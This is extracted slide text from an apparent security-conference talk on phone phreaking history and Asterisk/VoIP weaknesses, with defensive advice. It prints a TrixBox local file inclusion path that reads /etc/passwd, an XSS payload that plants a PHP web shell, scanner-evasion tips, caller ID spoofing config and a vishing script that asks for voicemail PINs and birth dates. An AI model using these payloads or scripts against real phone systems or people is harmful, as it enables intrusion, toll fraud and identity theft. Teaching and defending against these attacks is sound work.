1 Mysteries of the Phone System Past and Present Patrick
2 Views and opinions are those of Patrick & Owen and do not represent past, present, or future employers. All Service Marks, Trademarks, and Copyrights belong to their respective owners.
3 "Get this and get it straight Crime is a sucker s road, and those who travel it wind up in the gutter, the prison, or the grave." -Opening of the Philip Marlowe radio show The Original Philip Marlowe - Humphrey Bogart from The Big Sleep,1946 (46 / 2 = 23)
4 Why are we doing this? Phreaks as the original electronics hackers It s a way of thinking... VoIP wasn t designed for security Mysteries of the past can help you understand the present - let us be your guide
5 What we ll cover History Info Leakage Exploitation Fraud & Abuse PoC Tool Demo Other Which may include famous movie stars and propaganda
7 User Dialing Strowger switch - alternating current pulses & mechanical cylinder switch per digit First user dialing enabled - exchange name converted to number to dial in small area
8 Carrier Growth Drives Innovation Burgeoning operator workforce growth Panel & Crossbar common control built number in sender then processed The 4A crossbar and card control It s TRUE mom, the DEF CON Goons are SO dreamy! POP QUIZ! Q: SF and MF - what tone critical? XXXX Hz? Q: What was the design flaw that revolutionized the industry?
11 Introducing Asterisk! Asterisk Created in Now developed by Digium - GPL - Latest Stable: (24 October 2014; 4 months ago) (20 October 2014; 4 months ago) Numerous Books published Building Telephony Systems with Asterisk (PACKT) Asterisk for dummies published Asterisk Hacking published - AsteriskBook (AsteriskDocs.org) AMI AGI (http://www.voip-info.org/wiki/view/asterisk+agi) You can do some cool stuff with it.
12 Asterisk variants... FreePBX TrixBox PBX In a Flash Elastix AskoziaPBX Asterisk for Raspberry Pi (http://www.raspberry-asterisk.org/) Olivia de Havilland in The Dark Mirror, 1946 (46 / 2 = 23)
14 Attack vs Defense Al Capone J Edgar Hoover
15 Information Leakage What: When a system that is designed to be used only by authorized parties reveals the usage, equipment, location, or entities using the system, etc. to an unauthorized party.
16 Rise of the Phreaks Phreaks: Social engineered operators Phone techs In-band clicks & tones Open technical journals Exhaustive dialing of numbers Shared on looparounds & eventually conf calls Underground papers
17 The World Finds Out Secrets of the Little Blue Box, 1971 Esquire article introduced world to Phreaking - such as Joe Engressia, Mark Bernay, and John Draper Phun stuff like joke-lines were a ToS violation See Exploding the Phone by Phil Lapsley Photo taken from wideweb.com/phonetrips
18 Evolution of VoIP Common Channel Interoffice Signaling (CCIS) Personal computers came out, and if switches can use modems IP enabled transport of ALL data, including voice Analog systems got IP cards All IP developed PBX, with separate gateways for analog connections, consumer MTAs with analog ports, etc. Virtualization made PBX accessible to all
19 Information Leakage Now: Still just as easy! The curious can play in a VM at home or get inexpensive trunk services. Just like early phreakers - read, listen, enumerate! Port scanning SIP stack & OS fingerprinting Extension enumeration
21 The Crypto That Time Forgot REGISTER sip: SIP/2.0 Via: SIP/2.0/UDP :8166;branch=z9hG4bK-d8754z- 0be76a4b680f d8754z-;rport Max-Forwards: 70 Contact: To: From: Call-ID: YWM4NWQxNThiNGEwMjhmYTJhZmIwYzJiNjMxNTY1MjE CSeq: 2 REGISTER Expires: 3600 Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO User-Agent: X-Lite f3e8e-W6.1 Authorization: Digest username="1000",realm="asterisk",nonce="35e47ee9",uri="sip: ", response="33ac377e4d50ad ef37b2d33ce",algorithm=md5 Content-Length: 0
22 Information Leakage Google searches, DNS queries, job boards, and calls that go to voic or auto-attendant may the type of phone system If Internet connected, a quick SIP OPTIONS or INVITE reveals key info. User-Agent, Server, X- headers, or other header presence (or lack of) tells me what you re running. User or extension enumeration A quick vuln database scan tells me how to try to compromise your system
23 SIP VoIP info gathering tips Port scans - specify TCP & UDP, along with a port range to detect Asterisk AMI (5038) - outside of nmap defaults Scan slow to avoid rate based filters (-T) Use more than one tool, & mod default values. Ex: If using SIPVicious change default User-Agent in svhelper.py Scan with another SIP method such as INVITE or CANCEL Metasploit SIP scanner randomizes identifying fields Not many VoIP scanner projects maintained, but Viproy and Bluebox-ng ARE
24 Asterisk User-Agents 15MM SIP entries in dataset 52,420 containing Asterisk 10,776 are just Asterisk PBX (top server UA in the list) 1,156 "Asterisk PBX FONCORE-r78" - TrixBox! As expected, LOTS of: Insecure phones & MTAs Old SMB systems from Cisco, Nortel, Avaya, etc. Unexpected Finds: NORTEL-DMS100-SS7-ISUPbr (?!) 5,785 hits on camera, 5467 in CN Top user-agent - 3.6MM FRITZ!OS MTAs deployed in DE LOTS of Huawei in Iran Special thanks to Daniel Abreu for help with ZMap data import to ElasticSearch w/kibana
25 Information Leakage Defense Change the default SIP User-Agent string to fool attackers o In asterisk change sip_general_additional.conf useragent= o Or in FreePBX Web GUI > Settings > Asterisk SIP Settings > Go to Other SIP settings at bottom and enter useragent and <value you want> Block bad user agents & use rate limiting (See our Github) Add alwaysauthreject=yes to sip_custom.conf & username <> extension Implement fail2ban to block IPs that o Try to register to invalid extensions o Have a number of registration failures o Exceed a reasonable message rate Use a security appliance that will block SIP scans
26 Exploitation ex ploi ta tion (ĕk sploi-tā shən) n. 1. The act of employing to the greatest possible advantage 2. Utilization of another person or group for selfish purposes
27 Exploitation The phreaks used the weaknesses in the phone network to their greatest advantage, and used them to enable further exploration.
28 Exploitation Nowadays. used for Pretty much anything
29 TrixBox Immensely popular Asterisk front end SourceForge Stats: 5.0 Stars (35) Last Update: (More Stats)
30 Vulnerabilities Year DoS Code Execution Overflow Sql Injection Bypass something Gain Information Gain Privileges # of exploits # of Vulnerabilities Total Memory Corruption, XSS, Directory Traversal, HTTP Response Splitting, CSRF and File Inclusion not included in chart
32 Exploitation Demo Local File Inclusion /maint/modules/home/index.php?lang=../../../../../../../../etc/passwd%00 Other interesting files to read (Other than your normal goto files) Asterisk Configs (/etc/asterisk/) users.conf voic .conf extensions.conf Many More Amp Portal Config /etc/amportal.conf Asterisk Logs /var/log/asterisk - By AttackTerrorist
35 LFI Remote Code Exec Demo LFI & XSS By AttackTerrorist - SIP Message Injection By Snide.
36 Exploitation Demo Putting it all Together. From XSS (UNAUTH)->RCE (AUTH) Requires info gathering (maybe) Possibly phishing, hidden frames. Excuse Me Sir? user/help/html/index.php?id_nodo=%22onmouseover%3dwindow.location.replace%28window.atob%28%27ah R0cDovLzE5Mi4xNjguMS41MC9tYWludC9tb2R1bGVzL2hvbWUvaW5kZXgucGhwP2xhbmc9TUY7ZWNo byaipd9wahagc3lzdgvtkfwkx0dfvftcimntzfwixsk7pz4ipnnozwxsni5waha=%27%29%29;%22" 1) Load Page with iframe src above 2) Use the XSS to trigger onmouseover (in frame) to load Base64 Encoded URL: "<?php system(\$_get['cmd']);?>">../../../shell6.php 3) Hide Frame LFI & XSS By AttackTerrorist
39 Exploitation Defense Defending isn t easy 1. Avoid all-in-one distributions 2. Update 3. Custom build It s not hard Don t build what you don t need 4. Configure Properly Turn off what isn t used, needed or unknown See #3 5. Firewall 6. Fail2ban
40 Fraud & Abuse What: No intention to pay Causes loss or damage to others or enables criminal to make a profit Manipulation of the telecommunications network to make it do something unintended for fun :)
41 Fraud & Abuse Q: Before Apple, what did electronic device made Steve Wozniak and Steve Jobs famous (or maybe notorious) in some circles? Q: Who were some of the earliest and largest users of blue boxes besides phreaks? Q: Besides blue boxes, name one other box type that was very popular. What did it do? Q: What feat focused the FBI on apprehending John Draper aka Capt. Crunch?
42 Fraud & Abuse Making money - IRSF, traffic pumping schemes enabled by cracked PBX o Call generation or forwarding, voic dialout, routing changes, etc. to make calls to high-cost destinations Caller ID spoofing ( backspoofing ) Telephony Denial of Service - scripted calls to tie up someone s phone for extortion, protest, or prank Vishing Voice phishing, phone schemes, sometimes robo-dialed
43 Fraud & Abuse Demo Faked caller number. CNAM lookup or dip by receiver s telco displays name registered to that number - aka backspoofing Prank Calls Social Engineering Bypass some voic pins SWATting
44 Asterisk CallerID Setting On outbound route in extensions.conf exten => _1NXXNXXXXXX,n,Set(CALLERID(num)= ) In the.call files used for automation just set... CallerID: < >
45 Hey, Look who s calling me!
46 Phreakme We were just acquired. For security reasons, please enter your voic pin for a message from the CEO. A new tech support fast track phone number verification system is being rolled out. You must be enrolled for faster help desk service. Please enter your date of birth, in month, day and four digit year for verification.
47 Phreakme Demo
48 Phreakme IVR Configure Phreakme calling number & SIP trunk (in asterisk & PHP) Set up a phishing recording - create the pretext Create a target list - the phone numbers Do a dry-run of the recording Run the campaign
49 Phreakme - Why do I care? If I get your VM password - depending on system permissions Forward calls to high cost destinations Make new calls Broadcast internal messages Listen to VM (corp espionage?) DOB, SSN or other numeric info for password reset? Credit card into?
50 Fraud & Abuse Defense Credential cracking protections Block international destinations that are in NANP besides just 011 Disable call forwarding, and only allow it selectively Do not allow voic and conf bridge dialout and voic auto-dialback See what protections your provider has - bill limits, per-minute limits, destinations, etc.
51 Fraud & Abuse Defense Set pins on LD trunks TLS & SRTP - At least make it harder. Cert mgt is hard, but even one org cert on a client helps. Use GOOD algorithms, and stay patched. Look for security or fraud mgt systems that learn traffic baselines and watch for changes in rate, ratio, frequency, and/or direction of calls
54 Current Foreign NPAs (for U.S.) 264 ANGUILLA 268 ANTIGUA/BARBUDA 242 BAHAMAS 246 BARBADOS 441 BERMUDA 284 BRITISH VIRGIN ISLANDS 345 CAYMAN ISLANDS 767 DOMINICA 809 DOMINICAN REPUBLIC 829 DOMINICAN REPUBLIC 849 DOMINICAN REPUBLIC 473 GRENADA 658 JAMAICA 876 JAMAICA 664 MONTSERRAT 721 SINT MAARTEN 869 ST. KITTS AND NEVIS 758 ST. LUCIA 784 ST. VINCENT & GRENADINES 868 TRINIDAD AND TOBAGO 649 TURKS & CAICOS ISLANDS
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